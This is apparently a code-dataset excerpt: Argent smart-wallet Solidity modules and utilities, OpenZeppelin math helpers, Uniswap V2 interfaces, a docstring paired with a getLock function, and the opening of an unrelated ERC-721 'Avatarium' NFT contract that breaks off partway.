whitelistAfter); emit AddedToWhitelist(_wallet, _target, uint64(whitelistAfter)); } /** * @notice Removes an address from the list of trusted contacts. * @param _wallet The target wallet. * @param _target The address to remove. */ function removeFromWhitelist(address _wallet, address _target) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { setWhitelist(_wallet, _target, 0); emit RemovedFromWhitelist(_wallet, _target); } /** * @notice Checks if an address is a trusted contact for a wallet. * @param _wallet The target wallet. * @param _target The address. * @return _isWhitelisted true if the address is a trusted contact. */ function isWhitelisted(address _wallet, address _target) public view returns (bool _isWhitelisted) { uint whitelistAfter = userWhitelist.getWhitelist(_wallet, _target); return whitelistAfter > 0 && whitelistAfter < block.timestamp; } /* * @notice Enable the static calls required to make the wallet compatible with the ERC1155TokenReceiver * interface (see https://eips.ethereum.org/EIPS/eip-1155#erc-1155-token-receiver). This method only * needs to be called for wallets deployed in version lower or equal to 2.4.0 as the ERC1155 static calls * are not available by default for these versions of BaseWallet * @param _wallet The target wallet. */ function enableERC1155TokenReceiver(address _wallet) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { IWallet(_wallet).enableStaticCall(address(this), ERC165_INTERFACE); IWallet(_wallet).enableStaticCall(address(this), ERC1155_RECEIVED); IWallet(_wallet).enableStaticCall(address(this), ERC1155_BATCH_RECEIVED); } /** * @inheritdoc IModule */ function supportsStaticCall(bytes4 _methodId) external pure override returns (bool _isSupported) { return _methodId == ERC1271_IS_VALID_SIGNATURE || _methodId == ERC721_RECEIVED || _methodId == ERC165_INTERFACE || _methodId == ERC1155_RECEIVED || _methodId == ERC1155_BATCH_RECEIVED; } /** ******************* Callbacks ************************** */ /** * @notice Returns true if this contract implements the interface defined by * `interfaceId` (see https://eips.ethereum.org/EIPS/eip-165). */ function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { return _interfaceID == ERC165_INTERFACE || _interfaceID == (ERC1155_RECEIVED ^ ERC1155_BATCH_RECEIVED); } /** * @notice Implementation of EIP 1271. * Should return whether the signature provided is valid for the provided data. * @param _msgHash Hash of a message signed on the behalf of address(this) * @param _signature Signature byte array associated with _msgHash */ function isValidSignature(bytes32 _msgHash, bytes memory _signature) external view returns (bytes4) { require(_signature.length == 65, "TM: invalid signature length"); address signer = Utils.recoverSigner(_msgHash, _signature, 0); require(_isOwner(msg.sender, signer), "TM: Invalid signer"); return ERC1271_IS_VALID_SIGNATURE; } fallback() external { bytes4 methodId = Utils.functionPrefix(msg.data); if(methodId == ERC721_RECEIVED || methodId == ERC1155_RECEIVED || methodId == ERC1155_BATCH_RECEIVED) { // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, 0x04) return (0, 0x20) } } } // *************** Internal Functions ********************* // function enableDefaultStaticCalls(address _wallet) internal { // setup the static calls that are available for free for all wallets IWallet(_wallet).enableStaticCall(address(this), ERC1271_IS_VALID_SIGNATURE); IWallet(_wallet).enableStaticCall(address(this), ERC721_RECEIVED); } function multiCallWithApproval(address _wallet, Call[] calldata _transactions) internal returns (bytes[] memory) { bytes[] memory results = new bytes[](_transactions.length); for(uint i = 0; i < _transactions.length; i++) { results[i] = invokeWallet(_wallet, _transactions[i].to, _transactions[i].value, _transactions[i].data); } return results; } function startSession(address _wallet, address _sessionUser, uint64 _duration) internal { require(_sessionUser != address(0), "TM: Invalid session user"); require(_duration > 0, "TM: Invalid session duration"); uint64 expiry = SafeCast.toUint64(block.timestamp + _duration); sessions[_wallet] = Session(_sessionUser, expiry); emit SessionCreated(_wallet, _sessionUser, expiry); } function setWhitelist(address _wallet, address _target, uint256 _whitelistAfter) internal { userWhitelist.setWhitelist(_wallet, _target, _whitelistAfter); } } // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "../../wallet/IWallet.sol"; import "../../infrastructure/IModuleRegistry.sol"; import "../../infrastructure/storage/IGuardianStorage.sol"; import "../../infrastructure/IAuthoriser.sol"; import "../../infrastructure/storage/ITransferStorage.sol"; import "./IModule.sol"; import "../../../lib_0.5/other/ERC20.sol"; /** * @title BaseModule * @notice Base Module contract that contains methods common to all Modules. * @author Julien Niset - <[email protected]>, Olivier VDB - <[email protected]> */ abstract contract BaseModule is IModule { // Empty calldata bytes constant internal EMPTY_BYTES = ""; // Mock token address for ETH address constant internal ETH_TOKEN = address(0); // The module registry IModuleRegistry internal immutable registry; // The guardians storage IGuardianStorage internal immutable guardianStorage; // The trusted contacts storage ITransferStorage internal immutable userWhitelist; // The authoriser IAuthoriser internal immutable authoriser; event ModuleCreated(bytes32 name); enum OwnerSignature { Anyone, // Anyone Required, // Owner required Optional, // Owner and/or guardians Disallowed, // Guardians only Session // Session only } struct Session { address key; uint64 expires; } // Maps wallet to session mapping (address => Session) internal sessions; struct Lock { // the lock's release timestamp uint64 release; // the signature of the method that set the last lock bytes4 locker; } // Wallet specific lock storage mapping (address => Lock) internal locks; /** * @notice Throws if the wallet is not locked. */ modifier onlyWhenLocked(address _wallet) { require(_isLocked(_wallet), "BM: wallet must be locked"); _; } /** * @notice Throws if the wallet is locked. */ modifier onlyWhenUnlocked(address _wallet) { require(!_isLocked(_wallet), "BM: wallet locked"); _; } /** * @notice Throws if the sender is not the module itself. */ modifier onlySelf() { require(_isSelf(msg.sender), "BM: must be module"); _; } /** * @notice Throws if the sender is not the module itself or the owner of the target wallet. */ modifier onlyWalletOwnerOrSelf(address _wallet) { require(_isSelf(msg.sender) || _isOwner(_wallet, msg.sender), "BM: must be wallet owner/self"); _; } /** * @dev Throws if the sender is not the target wallet of the call. */ modifier onlyWallet(address _wallet) { require(msg.sender == _wallet, "BM: caller must be wallet"); _; } constructor( IModuleRegistry _registry, IGuardianStorage _guardianStorage, ITransferStorage _userWhitelist, IAuthoriser _authoriser, bytes32 _name ) { registry = _registry; guardianStorage = _guardianStorage; userWhitelist = _userWhitelist; authoriser = _authoriser; emit ModuleCreated(_name); } /** * @notice Moves tokens that have been sent to the module by mistake. * @param _token The target token. */ function recoverToken(address _token) external { uint total = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(address(registry), total); } function _clearSession(address _wallet) internal { delete sessions[_wallet]; } /** * @notice Helper method to check if an address is the owner of a target wallet. * @param _wallet The target wallet. * @param _addr The address. */ function _isOwner(address _wallet, address _addr) internal view returns (bool) { return IWallet(_wallet).owner() == _addr; } /** * @notice Helper method to check if a wallet is locked. * @param _wallet The target wallet. */ function _isLocked(address _wallet) internal view returns (bool) { return locks[_wallet].release > uint64(block.timestamp); } /** * @notice Helper method to check if an address is the module itself. * @param _addr The target address. */ function _isSelf(address _addr) internal view returns (bool) { return _addr == address(this); } /** * @notice Helper method to invoke a wallet. * @param _wallet The target wallet. * @param _to The target address for the transaction. * @param _value The value of the transaction. * @param _data The data of the transaction. */ function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res) { bool success; (success, _res) = _wallet.call(abi.encodeWithSignature("invoke(address,uint256,bytes)", _to, _value, _data)); if (success && _res.length > 0) { //_res is empty if _wallet is an "old" BaseWallet that can't return output values (_res) = abi.decode(_res, (bytes)); } else if (_res.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } else if (!success) { revert("BM: wallet invoke reverted"); } } } // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; /** * @title IModule * @notice Interface for a Module. * @author Julien Niset - <[email protected]>, Olivier VDB - <[email protected]> */ interface IModule { /** * @notice Adds a module to a wallet. Cannot execute when wallet is locked (or under recovery) * @param _wallet The target wallet. * @param _module The modules to authorise. */ function addModule(address _wallet, address _module) external; /** * @notice Inits a Module for a wallet by e.g. setting some wallet specific parameters in storage. * @param _wallet The wallet. */ function init(address _wallet) external; /** * @notice Returns whether the module implements a callback for a given static call method. * @param _methodId The method id. */ function supportsStaticCall(bytes4 _methodId) external view returns (bool _isSupported); } // Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; contract SimpleOracle { address internal immutable weth; address internal immutable uniswapV2Factory; constructor(address _uniswapRouter) { weth = IUniswapV2Router01(_uniswapRouter).WETH(); uniswapV2Factory = IUniswapV2Router01(_uniswapRouter).factory(); } function inToken(address _token, uint256 _ethAmount) internal view returns (uint256) { (uint256 wethReserve, uint256 tokenReserve) = getReservesForTokenPool(_token); return _ethAmount * tokenReserve / wethReserve; } function getReservesForTokenPool(address _token) internal view returns (uint256 wethReserve, uint256 tokenReserve) { if (weth < _token) { address pair = getPairForSorted(weth, _token); (wethReserve, tokenReserve,) = IUniswapV2Pair(pair).getReserves(); } else { address pair = getPairForSorted(_token, weth); (tokenReserve, wethReserve,) = IUniswapV2Pair(pair).getReserves(); } require(wethReserve != 0 && tokenReserve != 0, "SO: no liquidity"); } function getPairForSorted(address tokenA, address tokenB) internal virtual view returns (address pair) { pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', uniswapV2Factory, keccak256(abi.encodePacked(tokenA, tokenB)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' ))))); } } // Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; /** * @title Utils * @notice Common utility methods used by modules. */ library Utils { // ERC20, ERC721 & ERC1155 transfers & approvals bytes4 private constant ERC20_TRANSFER = bytes4(keccak256("transfer(address,uint256)")); bytes4 private constant ERC20_APPROVE = bytes4(keccak256("approve(address,uint256)")); bytes4 private constant ERC721_SET_APPROVAL_FOR_ALL = bytes4(keccak256("setApprovalForAll(address,bool)")); bytes4 private constant ERC721_TRANSFER_FROM = bytes4(keccak256("transferFrom(address,address,uint256)")); bytes4 private constant ERC721_SAFE_TRANSFER_FROM = bytes4(keccak256("safeTransferFrom(address,address,uint256)")); bytes4 private constant ERC721_SAFE_TRANSFER_FROM_BYTES = bytes4(keccak256("safeTransferFrom(address,address,uint256,bytes)")); bytes4 private constant ERC1155_SAFE_TRANSFER_FROM = bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")); bytes4 private constant OWNER_SIG = 0x8da5cb5b; /** * @notice Helper method to recover the signer at a given position from a list of concatenated signatures. * @param _signedHash The signed hash * @param _signatures The concatenated signatures. * @param _index The index of the signature to recover. */ function recoverSigner(bytes32 _signedHash, bytes memory _signatures, uint _index) internal pure returns (address) { uint8 v; bytes32 r; bytes32 s; // we jump 32 (0x20) as the first slot of bytes contains the length // we jump 65 (0x41) per signature // for v we load 32 bytes ending with v (the first 31 come from s) then apply a mask // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(_signatures, add(0x20,mul(0x41,_index)))) s := mload(add(_signatures, add(0x40,mul(0x41,_index)))) v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff) } require(v == 27 || v == 28, "Utils: bad v value in signature"); address recoveredAddress = ecrecover(_signedHash, v, r, s); require(recoveredAddress != address(0), "Utils: ecrecover returned 0"); return recoveredAddress; } /** * @notice Helper method to recover the spender from a contract call. * The method returns the contract unless the call is to a standard method of a ERC20/ERC721/ERC1155 token * in which case the spender is recovered from the data. * @param _to The target contract. * @param _data The data payload. */ function recoverSpender(address _to, bytes memory _data) internal pure returns (address spender) { if(_data.length >= 68) { bytes4 methodId; // solhint-disable-next-line no-inline-assembly assembly { methodId := mload(add(_data, 0x20)) } if( methodId == ERC20_TRANSFER || methodId == ERC20_APPROVE || methodId == ERC721_SET_APPROVAL_FOR_ALL) { // solhint-disable-next-line no-inline-assembly assembly { spender := mload(add(_data, 0x24)) } return spender; } if( methodId == ERC721_TRANSFER_FROM || methodId == ERC721_SAFE_TRANSFER_FROM || methodId == ERC721_SAFE_TRANSFER_FROM_BYTES || methodId == ERC1155_SAFE_TRANSFER_FROM) { // solhint-disable-next-line no-inline-assembly assembly { spender := mload(add(_data, 0x44)) } return spender; } } spender = _to; } /** * @notice Helper method to parse data and extract the method signature. */ function functionPrefix(bytes memory _data) internal pure returns (bytes4 prefix) { require(_data.length >= 4, "Utils: Invalid functionPrefix"); // solhint-disable-next-line no-inline-assembly assembly { prefix := mload(add(_data, 0x20)) } } /** * @notice Checks if an address is a contract. * @param _addr The address. */ function isContract(address _addr) internal view returns (bool) { uint32 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(_addr) } return (size > 0); } /** * @notice Checks if an address is a guardian or an account authorised to sign on behalf of a smart-contract guardian * given a list of guardians. * @param _guardians the list of guardians * @param _guardian the address to test * @return true and the list of guardians minus the found guardian upon success, false and the original list of guardians if not found. */ function isGuardianOrGuardianSigner(address[] memory _guardians, address _guardian) internal view returns (bool, address[] memory) { if (_guardians.length == 0 || _guardian == address(0)) { return (false, _guardians); } bool isFound = false; address[] memory updatedGuardians = new address[](_guardians.length - 1); uint256 index = 0; for (uint256 i = 0; i < _guardians.length; i++) { if (!isFound) { // check if _guardian is an account guardian if (_guardian == _guardians[i]) { isFound = true; continue; } // check if _guardian is the owner of a smart contract guardian if (isContract(_guardians[i]) && isGuardianOwner(_guardians[i], _guardian)) { isFound = true; continue; } } if (index < updatedGuardians.length) { updatedGuardians[index] = _guardians[i]; index++; } } return isFound ? (true, updatedGuardians) : (false, _guardians); } /** * @notice Checks if an address is the owner of a guardian contract. * The method does not revert if the call to the owner() method consumes more then 25000 gas. * @param _guardian The guardian contract * @param _owner The owner to verify. */ function isGuardianOwner(address _guardian, address _owner) internal view returns (bool) { address owner = address(0); // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr,OWNER_SIG) let result := staticcall(25000, _guardian, ptr, 0x20, ptr, 0x20) if eq(result, 1) { owner := mload(ptr) } } return owner == _owner; } /** * @notice Returns ceil(a / b). */ function ceil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; if (a % b == 0) { return c; } else { return c + 1; } } } // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.4 <0.9.0; /** * @title IWallet * @notice Interface for the BaseWallet */ interface IWallet { /** * @notice Returns the wallet owner. * @return The wallet owner address. */ function owner() external view returns (address); /** * @notice Returns the number of authorised modules. * @return The number of authorised modules. */ function modules() external view returns (uint); /** * @notice Sets a new owner for the wallet. * @param _newOwner The new owner. */ function setOwner(address _newOwner) external; /** * @notice Checks if a module is authorised on the wallet. * @param _module The module address to check. * @return `true` if the module is authorised, otherwise `false`. */ function authorised(address _module) external view returns (bool); /** * @notice Returns the module responsible for a static call redirection. * @param _sig The signature of the static call. * @return the module doing the redirection */ function enabled(bytes4 _sig) external view returns (address); /** * @notice Enables/Disables a module. * @param _module The target module. * @param _value Set to `true` to authorise the module. */ function authoriseModule(address _module, bool _value) external; /** * @notice Enables a static method by specifying the target module to which the call must be delegated. * @param _module The target module. * @param _method The static method signature. */ function enableStaticCall(address _module, bytes4 _method) external; } pragma solidity >=0.5.4 <0.9.0; /** * ERC20 contract interface. */ interface ERC20 { function totalSupply() external view returns (uint); function decimals() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
Returns the release time of a wallet lock or 0 if the wallet is unlocked. _wallet The target wallet. return _releaseAfter The epoch time at which the lock will release (in seconds)./
function getLock(address _wallet) external view returns(uint64 _releaseAfter) { return _isLocked(_wallet) ? locks[_wallet].release : 0; }
2,524,183
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* * Ownable * * Base contract with an owner. * Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner. */ contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender == owner) _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) owner = newOwner; } } // @title Interface for contracts conforming to ERC-721 Non-Fungible Tokens // @author Dieter Shirley <span class="__cf_email__" data-cfemail="aacecfdecfeacbd2c3c5c7d0cfc484c9c5">[email&#160;protected]</span> (httpsgithub.comdete) contract ERC721 { //Required methods function approve(address _to, uint256 _tokenId) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenId) public view returns (address addr); function takeOwnership(uint256 _tokenId) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); //Optional //function name() public view returns (string name); //function symbol() public view returns (string symbol); //function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); //function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } contract Avatarium is Ownable, ERC721 { // --- Events --- // // @dev The Birth event is fired, whenever a new Avatar has been created. event Birth( uint256 tokenId, string name, address owner); // @dev The TokenSold event is fired, whenever a token is sold. event TokenSold( uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name); // --- Constants --- // // The name and the symbol of the NFT, as defined in ERC-721. string public constant NAME = "Avatarium"; string public constant SYMBOL = "ΛV"; // Prices and iteration steps uint256 private startingPrice = 0.02 ether; uint256 private firstIterationLimit = 0.05 ether; uint256 private secondIterationLimit = 0.5 ether; // Addresses that can execute important functions. address public addressCEO; address public addressCOO; // --- Storage --- // // @dev A mapping from Avatar ID to the owner&#39;s address. mapping (uint => address) public avatarIndexToOwner; // @dev A mapping from the owner&#39;s address to the tokens it owns. mapping (address => uint256) public ownershipTokenCount; // @dev A mapping from Avatar&#39;s ID to an address that has been approved // to call transferFrom(). mapping (uint256 => address) public avatarIndexToApproved; // @dev A private mapping from Avatar&#39;s ID to its price. mapping (uint256 => uint256) private avatarIndexToPrice; // --- Datatypes --- // // The main struct struct Avatar { string name; } Avatar[] public avatars; // --- Access Modifiers --- // // @dev Access only to the CEO-functionality. modifier onlyCEO() { require(msg.sender == addressCEO); _; } // @dev Access only to the COO-functionality. modifier onlyCOO() { 